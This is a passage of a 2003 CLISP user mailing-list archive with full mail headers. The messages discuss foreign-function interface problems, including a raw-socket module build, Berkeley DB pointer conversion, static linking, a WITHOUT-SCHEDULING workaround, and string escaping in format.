w2k I haven't lost my mind -- it's backed up on tape somewhere. From sds@gnu.org Fri Sep 12 21:47:29 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19y2Jl-0002G1-00 for ; Fri, 12 Sep 2003 21:47:29 -0700 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19y2Jl-0000c2-81 for clisp-list@lists.sourceforge.net; Fri, 12 Sep 2003 21:47:29 -0700 Received: from WINSTEINGOLDLAP ([141.149.187.13]) by out003.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030913044655.ZFQL29617.out003.verizon.net@WINSTEINGOLDLAP>; Fri, 12 Sep 2003 23:46:55 -0500 To: fc@all.net Cc: Subject: Re: [clisp-list] Re: FFI errors - tracking them closer References: <200309130422.h8D4MCn21857@all.net> Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200309130422.h8D4MCn21857@all.net> Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [141.149.187.13] at Fri, 12 Sep 2003 23:46:54 -0500 X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >* Fred Cohen [2003-09-12 21:22:12 -0700]: > > > I _really_ urge you to include headers instead. > > You mean create a .h file to declare everything in my C program > externally and then include it in call-rawsock.lisp somehow? [...] Content analysis details: (-2.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 21:48:04 2003 X-Original-Date: 13 Sep 2003 00:46:53 -0400 >* Fred Cohen [2003-09-12 21:22:12 -0700]: > > > I _really_ urge you to include headers instead. > > You mean create a .h file to declare everything in my C program > externally and then include it in call-rawsock.lisp somehow? the usual situation is when you have a library (.dll or .so or .a) and a header file, so what you do is (c-lines "#include ~%") instead of relying on CLISP producing the correct prototypes. of course, CLISP _will_ (_usually_!) produce correct K&R declarations, but why bother if you already have good prototypes elsewhere? there are exceptions, of course, e.g., if all you have is a single C file. but even then you might probably get away with this including it into the lisp file with c-lines and then _not_ compiling the original C files but only the generated C file. YMMV. _PLEASE_ do not CC me when you write to the list. _PLEASE_ do not drop the list from your replies. -- Sam Steingold (http://www.podval.org/~sds) running w2k Bus error -- driver executed. From a.bignoli@computer.org Sun Sep 14 07:37:49 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19yY0b-00073O-00 for ; Sun, 14 Sep 2003 07:37:49 -0700 Received: from mail-6.tiscali.it ([195.130.225.152]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19yY0a-0007xQ-UC for clisp-list@lists.sourceforge.net; Sun, 14 Sep 2003 07:37:49 -0700 Received: from dalet.19216810.loc (62.10.41.168) by mail-6.tiscali.it (6.7.019) id 3F54A9A1007EFC5D; Sun, 14 Sep 2003 16:37:15 +0200 Received: from dalet.19216810.loc (IDENT:25@localhost [127.0.0.1]) by dalet.19216810.loc (8.12.9/8.12.9) with ESMTP id h8EEauKh001174; Sun, 14 Sep 2003 16:36:56 +0200 Received: (from aurelio@localhost) by dalet.19216810.loc (8.12.9/8.12.9/Submit) id h8EDODw5000262; Sun, 14 Sep 2003 15:24:13 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16228.27645.616730.324964@dalet.19216810.loc> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, roland.averkamp@gmx.de Subject: [clisp-list] Re: Problem with ffi:foreign-pointer In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE06993289@G8PQD.blf01.telekom.de> X-Mailer: VM 7.17 under Emacs 21.2.2 X-Spam-Score: 0.3 (/) X-Spam-Report: 0.3/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hoehle, Joerg-Cyril writes: > BTW, maybe you could short-circuit with Aurelio Bignoli who worked > on porting BDB (Berkeley DB). He probably faced a similar > situation. yes, I had to convert a C pointer to one of the following C objects: [...] Content analysis details: (0.30 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution SUBJ_HAS_UNIQ_ID (1.3 points) Subject contains a unique ID Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 14 07:38:04 2003 X-Original-Date: Sun, 14 Sep 2003 15:24:13 +0200 Hoehle, Joerg-Cyril writes: > BTW, maybe you could short-circuit with Aurelio Bignoli who worked > on porting BDB (Berkeley DB). He probably faced a similar > situation. yes, I had to convert a C pointer to one of the following C objects: 1) array of characters 2) string 3) integer to the corresponding CLISP object and I used the with-c-var...cast pattern you described. However, after some testing, I discovered that the use of an ad-hoc C function for the conversion of C ints into CLISP fixnums gives better performances. Probably the same is true for the conversion from any non-aggregate C type to the corresponding CLISP type, such as floats and doubles. Here is my solution for ints: The C ad-hoc conversion function: int get_int_data (void *p) { return *(int *)p; } Its FFI definition: (def-call-out ffi-get-int-data (:name "get_int_data") (:arguments (data c-pointer :in)) (:return-type int)) Finally, the method used to convert pointer to ints returned by BerkeleyDB functions: (defmethod get-foreign-data (data len (type (eql 'integer))) (declare (ignore len)) (ffi-get-int-data data)) From lin8080@freenet.de Sun Sep 14 12:33:40 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19ycct-0007cW-00 for ; Sun, 14 Sep 2003 12:33:39 -0700 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19ycct-0001yT-Bx for clisp-list@lists.sourceforge.net; Sun, 14 Sep 2003 12:33:39 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout2.freenet.de with asmtp (Exim 4.22) id 19yccq-0006oE-Dz for clisp-list@lists.sourceforge.net; Sun, 14 Sep 2003 21:33:36 +0200 Received: from b7927.pppool.de ([213.7.121.39] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 4.22 #1) id 19yccp-0002b5-M4 for clisp-list@lists.sourceforge.net; Sun, 14 Sep 2003 21:33:36 +0200 Message-ID: <3F638E55.E4CB4888@freenet.de> From: lin8080 X-Mailer: Mozilla 4.73 [de]C-CCK-MCD QXW03244 (Win98; U) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: FFI errors - tracking them closer References: <200309130406.h8D46cY19835@all.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: -0.3 (/) X-Spam-Report: -0.3/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hallo Oh, I'm so sorry. But look at this and ask yourself: Are you a Linux-Man doing some Lisp or are you a Lisp-Man doing some Linux? (This is the main reason, i use lisp with windows.) > (DEFPACKAGE "RAWSOCK" (:use "LISP" "FFI")) > (IN-PACKAGE "RAWSOCK") [...] Content analysis details: (-0.30 points, 5 required) FROM_ENDS_IN_NUMS (0.7 points) From: ends in numbers X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header USER_AGENT_MOZILLA_XM (0.0 points) X-Mailer header indicates a non-spam MUA (Netscape) REFERENCES (-0.5 points) Has a valid-looking References header QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text DATE_IN_PAST_12_24 (0.1 points) Date: is 12 to 24 hours before Received: date Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 14 12:34:02 2003 X-Original-Date: Sat, 13 Sep 2003 23:38:29 +0200 Hallo Oh, I'm so sorry. But look at this and ask yourself: Are you a Linux-Man doing some Lisp or are you a Lisp-Man doing some Linux? (This is the main reason, i use lisp with windows.) > (DEFPACKAGE "RAWSOCK" (:use "LISP" "FFI")) > (IN-PACKAGE "RAWSOCK") > (setf FFI:*OUTPUT-C-FUNCTIONS* t) > (setf FFI:*OUTPUT-C-VARIABLES* t) > ; (setq snaplen 1514) > (def-c-var buffer (:name "buffer"... ------------------------ > LD_RUN_PATH=/usr/local/lib > LD_LIBRARY_PATH=/usr/local/lib > base=/usr/local/lib/clisp/base;export base > rm -rf ${base}/rawsock > export CLISP_LINKKIT=/usr/local/lib/clisp/linkkit/ > rm -rf call-rawsock.c call-rawsock.fas call-rawsock.lib rawsock > /usr/local/lib/clisp/clisp-link create-module-set rawsock call-rawsock.c > cc -O -c rawsock.c > cd rawsock > ln -s ../rawsock.o rawsock.o > cp -f ../thingtofix link.sh > cd .. > ${base}/lisp.run -M ${base}/lispinit.mem -q -c call-rawsock.lisp > /usr/local/lib/clisp/clisp-link add-module-set rawsock ${base} > ${base}/rawsock -> > call-rawsock.c: In function `module__call_rawsock__init_function_2': > call-rawsock.c:19: `buffer' undeclared (first use in this function) > call-rawsock.c:19: (Each undeclared identifier is reported only once Maybe you are right, this belogs not directly inside this list. But think about, where did this trend end? So please, keep cl as mutch as possible autonomy. stefan From fc@all.net Sun Sep 14 14:33:17 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19yeUf-0006pr-00 for ; Sun, 14 Sep 2003 14:33:17 -0700 Received: from red.all.net ([216.135.231.242] helo=all.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19yeUe-0003sX-HA for clisp-list@lists.sourceforge.net; Sun, 14 Sep 2003 14:33:16 -0700 Received: (from fc@localhost) by all.net (8.11.6/8.11.2) id h8ELWgX24564 for clisp-list@lists.sourceforge.net; Sun, 14 Sep 2003 14:32:42 -0700 Message-Id: <200309142132.h8ELWgX24564@all.net> To: clisp-list@lists.sourceforge.net (Clisp List) From: Fred Cohen Reply-To: fc@all.net Organization: Fred Cohen & Associates X-Mailer: Yes X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: 0.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: I am trying to do a staticly linked version of clisp. Has anyone ever tried this? If so, is there any kind of hint out there? FC -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture [...] Content analysis details: (0.00 points, 5 required) Subject: [clisp-list] Staticaly linking clisp and FFIs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 14 14:34:03 2003 X-Original-Date: Sun, 14 Sep 2003 14:32:42 -0700 (PDT) I am trying to do a staticly linked version of clisp. Has anyone ever tried this? If so, is there any kind of hint out there? FC -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture From phalgune@jasper01.CS.ORST.EDU Sun Sep 14 18:53:41 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19yiYf-00032q-00 for ; Sun, 14 Sep 2003 18:53:41 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19yiYe-0005od-SR for clisp-list@lists.sourceforge.net; Sun, 14 Sep 2003 18:53:40 -0700 Received: from jasper01.CS.ORST.EDU (jasper01.CS.ORST.EDU [128.193.39.108]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h8F1rYCb009681 for ; Sun, 14 Sep 2003 18:53:34 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper01.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h8F1rYsH021799 for ; Sun, 14 Sep 2003 18:53:34 -0700 (PDT) From: amit phalgune To: clisp-list@lists.sourceforge.net In-Reply-To: <5.2.1.1.2.20030912135554.028de0e8@pop.sonic.net> Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE0699308F@G8PQD.blf01.telekom.de> <5.2.1.1.2.20030912135554.028de0e8@pop.sonic.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi Guys, I need your help again. There seems to be a macro WITHOUT-SCHEDULING in LISP. I was looking for he problems and whther CLISP supports it. I found on one of the postings on comp.lang.lisp that CLISP does not have a corresponding implementation of WITHOUT-SCHEDULING . [...] Content analysis details: (-1.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) REFERENCES (-0.5 points) Has a valid-looking References header Subject: [clisp-list] WITHOUT-SCHEDULING Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 14 18:54:03 2003 X-Original-Date: Sun, 14 Sep 2003 18:53:34 -0700 (PDT) Hi Guys, I need your help again. There seems to be a macro WITHOUT-SCHEDULING in LISP. I was looking for he problems and whther CLISP supports it. I found on one of the postings on comp.lang.lisp that CLISP does not have a corresponding implementation of WITHOUT-SCHEDULING . Is this true. Can anyone suggest a work around or can share with their code for the work around they have already found . Thanks in advance, Amit From pascal@informatimago.com Sun Sep 14 19:48:53 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19yjQ5-0006Ft-00 for ; Sun, 14 Sep 2003 19:48:53 -0700 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19yjQ3-0006Zm-Tv for clisp-list@lists.sourceforge.net; Sun, 14 Sep 2003 19:48:52 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 6B01BB6616; Mon, 15 Sep 2003 04:48:45 +0200 (CEST) Message-ID: <16229.10381.401731.327429@thalassa.informatimago.com> To: amit phalgune Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] WITHOUT-SCHEDULING In-Reply-To: References: <9F8582E37B2EE5498E76392AEDDCD3FE0699308F@G8PQD.blf01.telekom.de> <5.2.1.1.2.20030912135554.028de0e8@pop.sonic.net> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: amit phalgune writes: > Hi Guys, > I need your help again. > There seems to be a macro WITHOUT-SCHEDULING in LISP. What LISP? clisp implements _the_ Common-Lisp. There are 978 symbols in the COMMON-LISP package. What's not in the list IS NOT Common-Lisp: http://www.lisp.org/HyperSpec/FrontMatter/Symbol-Index-Alphabetical.html [...] Content analysis details: (-2.60 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 14 19:49:19 2003 X-Original-Date: Mon, 15 Sep 2003 04:48:45 +0200 amit phalgune writes: > Hi Guys, > I need your help again. > There seems to be a macro WITHOUT-SCHEDULING in LISP.=20 What LISP? clisp implements _the_ Common-Lisp. There are 978 symbols in the COMMON-LISP package. What's not in the list IS NOT Common-Lisp: http://www.lisp.org/HyperSpec/FrontMatter/Symbol-Index-Alphabetical.html I too note that some programs use some without-scheduling symbol, taken from the MP package, whatever it may be, and it's even a PRIVATE symbol since they have to use two ':': (mp::without-scheduling ...). And they dare call their programs Common-Lisp programs! Well, that's not my idea of a portable Common-Lisp program. (Yes, I don't want to consider non-portable programs). > I was looking for he problems and whther CLISP supports it. > I found on one of the postings on comp.lang.lisp that CLISP does not ha= ve > a corresponding implementation of WITHOUT-SCHEDULING . >=20 > Is this true. Can anyone suggest a work around or can share with their > code for the work around they have already found . Well, since there is no multi-threading in clisp, we can say that we are always working without scheduling. So you could define that macro as: (DEFPACKAGE "MP") (DEFMACRO MP::WITHOUT-SCHEDULING (&BODY BODY) `(PROGN ,@BODY)) --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ Do not adjust your mind, there is a fault in reality. From sds@gnu.org Sun Sep 14 19:57:18 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19yjYE-0006mE-00 for ; Sun, 14 Sep 2003 19:57:18 -0700 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19yjYD-0000sw-SI for clisp-list@lists.sourceforge.net; Sun, 14 Sep 2003 19:57:17 -0700 Received: from WINSTEINGOLDLAP ([141.149.172.49]) by out006.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030915025646.RHSV5302.out006.verizon.net@WINSTEINGOLDLAP>; Sun, 14 Sep 2003 21:56:46 -0500 To: Dan Stanger Cc: clisp-list@lists.sourceforge.net References: <3F64F51D.FD175467@ieee.org> Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3F64F51D.FD175467@ieee.org> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [141.149.172.49] at Sun, 14 Sep 2003 21:56:45 -0500 X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >* Dan Stanger [2003-09-14 19:09:18 -0400]: > > As a start do you know how FF_to_c_float works? try FF_to_c_float(x,&y); (float)(y.eksplicit); [...] Content analysis details: (-1.50 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) Subject: [clisp-list] Re: problems with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 14 19:58:04 2003 X-Original-Date: 14 Sep 2003 22:56:44 -0400 >* Dan Stanger [2003-09-14 19:09:18 -0400]: > > As a start do you know how FF_to_c_float works? try FF_to_c_float(x,&y); (float)(y.eksplicit); > Also do you think using the allocate macro is proper, > or should I be using malloc instead? if you are creating a CLISP object which GC will collect, use allocate(). if you will track the object yourself, use malloc/free. -- Sam Steingold (http://www.podval.org/~sds) running w2k The difference between genius and stupidity is that genius has its limits. From rbelenov@yandex.ru Sun Sep 14 23:13:02 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19ymbe-00012f-00 for ; Sun, 14 Sep 2003 23:13:02 -0700 Received: from fmr99.intel.com ([192.55.52.32] helo=hermes-pilot.fm.intel.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19ymbd-0003TJ-4h for clisp-list@lists.sourceforge.net; Sun, 14 Sep 2003 23:13:01 -0700 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by hermes-pilot.fm.intel.com (8.12.9/8.12.9/d: outer.mc,v 1.66 2003/05/22 21:17:36 rfjohns1 Exp $) with ESMTP id h8F67k4P021704 for ; Mon, 15 Sep 2003 06:07:46 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108]) by talaria.fm.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8F6C8h13617 for ; Mon, 15 Sep 2003 06:12:08 GMT Received: (from NNWRBELENOV31 [10.125.17.147]) by fmsmsxvs040.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091423122414014 ; Sun, 14 Sep 2003 23:12:27 -0700 To: amit phalgune Cc: Sam Steingold , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: escape characters in CLISP References: <9F8582E37B2EE5498E76392AEDDCD3FE0699308F@G8PQD.blf01.telekom.de> From: Roman Belenov In-Reply-To: (amit phalgune's message of "Fri, 12 Sep 2003 13:16:17 -0700 (PDT)") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-Spam-Score: -3.0 (---) X-Spam-Report: -3.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: amit phalgune writes: > I did that and then once I do a format on A. it shows "Z:\\ABC" so I am > not sure if it works. It seems that you did (format t "~S" A) instead of (format t "~A" A). The former gives printable representation that can be read back by the reader, so that escape characters are inserted when needed, while the latter prints only the actual characters of the string. [...] Content analysis details: (-3.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 14 23:15:22 2003 X-Original-Date: Mon, 15 Sep 2003 10:12:23 +0400 amit phalgune writes: > I did that and then once I do a format on A. it shows "Z:\\ABC" so I am > not sure if it works. It seems that you did (format t "~S" A) instead of (format t "~A" A). The former gives printable representation that can be read back by the reader, so that escape characters are inserted when needed, while the latter prints only the actual characters of the string. -- With regards, Roman. From Joerg-Cyril.Hoehle@t-systems.com Mon Sep 15 01:50:00 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19yp3Y-0006A5-00 for ; Mon, 15 Sep 2003 01:50:00 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19yp3X-0007WF-PG for clisp-list@lists.sourceforge.net; Mon, 15 Sep 2003 01:49:59 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 15 Sep 2003 10:45:13 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 15 Sep 2003 10:45:12 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE06993604@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: FFI errors - tracking them closer MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: 0.2/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi, in this thread, I believe the fact that Fred was using DEF-C-VAR got missed. I consider it an error that the OUTPUT-C-VARIABLES has to be set in order to make DEF-C-VAR work. [...] Content analysis details: (0.20 points, 5 required) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text MSG_ID_ADDED_BY_MTA_3 (0.7 points) 'Message-Id' was added by a relay (3) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 15 01:50:05 2003 X-Original-Date: Mon, 15 Sep 2003 10:45:10 +0200 Hi, in this thread, I believe the fact that Fred was using DEF-C-VAR got missed. I consider it an error that the OUTPUT-C-VARIABLES has to be set in order to make DEF-C-VAR work. (DEF-C-VAR buffer ...) needs something like > extern uint8 (buffer)[1518]; > extern struct t1261 { sint16 SA_FAMILY; sint8 (SA_DATA)[14]; } from; > extern char* ts; The hint 